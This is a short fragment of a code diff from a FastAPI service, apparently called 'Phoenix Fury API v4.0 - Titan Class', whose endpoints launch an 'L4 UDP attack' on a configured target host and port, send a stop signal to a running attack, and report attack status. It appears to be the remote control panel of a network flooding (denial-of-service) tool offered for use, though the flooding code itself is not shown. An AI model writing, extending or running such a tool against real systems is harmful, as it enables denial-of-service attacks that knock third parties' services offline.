+ def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
376
+ run_attack_lifecycle(config, 'l4', background_tasks)
377
  return {"status": "success", "message": f"L4 UDP attack initiated on {config.target}:{config.port}"}
378
 
379
  @app.post("/attack/stop")
380
+ def api_stop_attack():
381
+ if not MANAGER.is_active():
382
+ return {"status": "info", "message": "No attack is currently running."}
383
+ MANAGER.stop()
384
+ return {"status": "success", "message": "Stop signal sent. Attack is terminating."}
385
 
386
  @app.get("/status", response_model=StatusResponse)
387
  def get_status():
388
+ return MANAGER.get_status()
 
 
 
 
 
 
 
 
389
 
390
  @app.get("/")
391
+ def root():
392
+ return {"message": "🔥 Phoenix Fury API v4.0 - Titan Class", "docs": "/docs"}
393
 
394
  # --- Main Execution ---
395
  if __name__ == "__main__":